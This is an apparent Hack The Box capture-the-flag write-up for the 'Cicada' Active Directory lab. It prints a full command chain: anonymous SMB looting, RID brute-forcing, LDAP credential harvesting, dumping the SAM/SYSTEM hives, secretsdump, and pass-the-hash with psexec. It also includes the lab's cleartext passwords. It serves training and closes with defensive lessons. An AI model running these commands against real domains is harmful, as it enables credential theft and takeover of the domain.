root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat cicada.md
// writeups

Cicada

28 Sep 2024 · 13 min read
Cicada - maquina de Hack The Box

Executive summary — Cicada is an Easy Active Directory box that doesn't rely on an exploit but on a chain of administrative bad practices. An anonymously accessible SMB HR share leaks a corporate default password; with RID brute we identify a valid account (michael.wrightson) to test it against and, once authenticated to LDAP, discover that david.orelious stores their own password in the description field of their user object. david has access to the DEV share, where a backup script (Backup_script.ps1) contains cleartext credentials for emily.oscars. Emily logs in over WinRM and has SeBackupPrivilege: we use it to dump the SAM and SYSTEM hives, extract Administrator's NTLM hash, and close out the box with Pass-the-Hash. Path: HR → LDAP → david → DEV → emily → SeBackup → Administrator.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.5.230

Attack map

[Anonymous SMB] HR share -> "Notice from HR.txt" -> default password
   |  RID brute (null session) -> valid user: michael.wrightson
   v
[Authenticated LDAP]  description attribute -> david.orelious password
   |  DEV share -> Backup_script.ps1 with hardcoded credentials
   v
[emily.oscars]  smbmap: C$ (READ/WRITE) -> WinRM (user.txt)
   |  whoami /priv -> SeBackupPrivilege
   v
[SAM+SYSTEM]  reg save -> secretsdump -> Administrator NTLM hash
   |  Pass-the-Hash (impacket-psexec)
   v
[SYSTEM]  root.txt

1. Reconnaissance

The scan itself reveals the Domain Controller's names (CICADA-DC.cicada.htb). Many AD tools (LDAP, Kerberos, SMB) fail or misbehave if they can't resolve the domain and the DC's FQDN, so the first step is mapping them by hand:

echo "10.129.5.230 cicada.htb CICADA-DC.cicada.htb" | sudo tee -a /etc/hosts

With name resolution in place, we run a full port scan:

sudo nmap -Pn -sC -sV -p- --min-rate 10000 10.129.5.230 -oA nmap-cicada

Why these flags:

  • -Pn → skip host discovery ping (useful when ICMP is filtered, common on HTB).
  • -sC → run the default NSE scripts (banners, quick service fingerprinting).
  • -sV → detect each service's version.
  • -p- → scan all 65535 TCP ports, not just the top 1000.
  • --min-rate 10000 → speeds up the packet send rate.
  • -oA nmap-cicada → saves the output in several formats for later reference.
53/tcp   open  domain    (DNS)
88/tcp   open  kerberos-sec
389/tcp  open  ldap
445/tcp  open  microsoft-ds  (SMB)
636/tcp  open  ldapssl
3268/tcp open  globalcatldap
3269/tcp open  globalcatldapssl
5985/tcp open  wsman  (WinRM)

Analysis: DNS + Kerberos + LDAP/Global Catalog + SMB + WinRM on the same host is the classic fingerprint of an Active Directory Domain Controller. It sets the roadmap: SMB to look for leaked shares, LDAP to enumerate the directory, and WinRM as the final remote-access target.

2. Anonymous SMB -> default password

Before having any credentials, we check whether the server allows null or guest SMB sessions, common on misconfigured DCs:

smbclient -L //10.129.5.230/ -N

-L lists the available shares; -N attempts the connection without a password (null session). If the server allows it, we can see —and sometimes read— shares without being anyone in the domain.

Among the shares is HR, readable with no credentials. We connect and download its contents:

smbclient //10.129.5.230/HR -N -c 'get "Notice from HR.txt"'

The file is an HR notice for new hires, and it leaks the default password that IT assigns to accounts when they're created:

Default password: Cicada$M6Corpb*@Lp#nZp!8

The real flaw: it's not just that the share is anonymously readable, it's that it documents a password shared across an entire batch of new user accounts. If a single employee never changed it, it's a key that opens their account.

3. Identifying a valid user and enumerating over LDAP

A password is useless without a username to test it against. On a DC that allows null SMB sessions, RID brute (over SAMR) enumerates domain accounts without needing any credentials, walking the RIDs (relative identifiers) one by one:

netexec smb 10.129.5.230 -u '' -p '' --rid-brute

Among the accounts this enumeration returns is michael.wrightson. We try the default password leaked from the HR share against it, and it validates —the employee never changed it:

netexec smb 10.129.5.230 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8'

With a valid account we can now authenticate to LDAP. First we identify the domain's Base DN (the starting point for any LDAP search):

ldapsearch -x -H ldap://10.129.5.230 -s base namingcontexts
namingcontexts: DC=cicada,DC=htb

With the Base DN, we enumerate the domain's user accounts authenticated as michael.wrightson:

ldapsearch -x -H ldap://10.129.5.230 -D "michael.wrightson@cicada.htb" \
  -w 'Cicada$M6Corpb*@Lp#nZp!8' -b "DC=cicada,DC=htb" \
  "(objectClass=user)" sAMAccountName

The response lists every account in the directory, including david.orelious. We repeat the same query asking for the description attribute, a field meant for administrative notes that here was used —a classic bad habit— to store a password:

ldapsearch -x -H ldap://10.129.5.230 -D "michael.wrightson@cicada.htb" \
  -w 'Cicada$M6Corpb*@Lp#nZp!8' -b "DC=cicada,DC=htb" \
  "(objectClass=user)" description
david.orelious  ->  description: password is aRt$Lp#7t*VQ!3

New credentials: david.orelious / aRt$Lp#7t*VQ!3. The description field shows up in any basic LDAP query, even to low-privilege users: it's never a safe place for a password.

4. DEV share -> emily's credentials

With david's credentials we check what shares he can reach and find DEV, a development resource holding internal scripts:

smbclient //10.129.5.230/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3' -c 'get Backup_script.ps1'

The script automates a backup task and, to authenticate without human intervention, ships the service credentials written in cleartext inside the code itself:

cat Backup_script.ps1
# ... $username = "emily.oscars"
# ... $password = "Q!3@Lp#M6b*7t*Vt"

Automating tasks with a service account is fine; hardcoding its password in a script anyone with share access can read is not. It's the same family of mistake as the password in description: sensitive data placed somewhere meant for something else.

5. Confirming privileges with smbmap

Before logging in interactively, we check emily's permissions on the administrative shares —a quick way to know whether the account is interesting before spending a login attempt:

smbmap -H 10.129.5.230 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -d cicada.htb
C$        READ, WRITE

Having WRITE on C$ (the system drive root, shared administratively) is typical of high-privilege accounts. It's a clear signal that emily is worth an interactive session.

6. WinRM as emily (user.txt)

evil-winrm -i 10.129.5.230 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
cd C:\Users\emily.oscars.CICADA\Desktop
type user.txt

7. Escalation — SeBackupPrivilege

Once inside, the first move after landing a Windows user is to check its token privileges:

whoami /priv

Among the enabled privileges is SeBackupPrivilege: it lets the account back up (read) any file on the system, bypassing normal ACLs —precisely because a legitimate backup needs to be able to read everything. This includes the registry hives holding local account hashes.

We create a temporary folder and dump the SYSTEM hive (holds the BootKey needed to decrypt) and the SAM hive (holds the local hashes):

mkdir C:\temp
reg save hklm\system C:\temp\system.hive
reg save hklm\sam C:\temp\sam.hive

We download both files to our machine with Evil-WinRM's download command:

cd C:\temp
download sam.hive
download system.hive

8. Hash extraction and Pass-the-Hash

With both hives locally, secretsdump decrypts the local accounts' NT hashes using the SYSTEM hive's BootKey to unlock the SAM:

impacket-secretsdump -sam sam.hive -system system.hive local
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<administrator_ntlm_hash>:::

With Administrator's NTLM hash there's no need to crack the cleartext password: Pass-the-Hash accepts it directly as a valid NTLM credential. We use impacket-psexec, which creates a remote service on the DC and hands us a shell:

impacket-psexec cicada.htb/Administrator@10.129.5.230 -hashes 'aad3b435b51404eeaad3b435b51404ee:<administrator_ntlm_hash>'

psexec authenticates over SMB with the hash, installs a temporary service on the DC, and gives us a shell as SYSTEM —a privilege even higher than Administrator, since the process runs in the operating system's own context.

9. Root flag

cd C:\Users\Administrator\Desktop
type root.txt

Domain fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
InfoSMB HR (anonymous)Unauthenticated readable share + leaked default passwordReusable initial credential
EnumSMB (RID brute) + LDAPNull session enumerates accounts; description exposes a cleartext passworddavid.orelious credentials
LateralDEV shareHardcoded credentials in Backup_script.ps1emily.oscars credentials
Lateralsmbmap / C$Service account has WRITE on the administrative C$ shareConfirms elevated privilege before login
PrivEscSeBackupPrivilegeAllows dumping SAM/SYSTEM bypassing ACLsAdministrator NTLM hash
PrivEscPass-the-Hash (psexec)NTLM hash accepted without knowing the cleartext passwordSYSTEM shell / root.txt

Lessons learned

  • Anonymous SMB: don't leave readable shares with documents that leak passwords, or null sessions that let RID brute enumerate accounts.
  • Default passwords: force a change on first login; a password shared across a batch of new hires is a backdoor with no expiration date.
  • No credentials in description or scripts: both are readable by any account with minimal read permissions on the directory or the share.
  • Audit administrative share permissions (C$, ADMIN$): WRITE there for a service account is a red flag.
  • SeBackupPrivilege (and SeRestorePrivilege) are near-Administrator: they let you read SAM/SYSTEM and ntds.dit bypassing ACLs. Grant them only to real, audited backup accounts.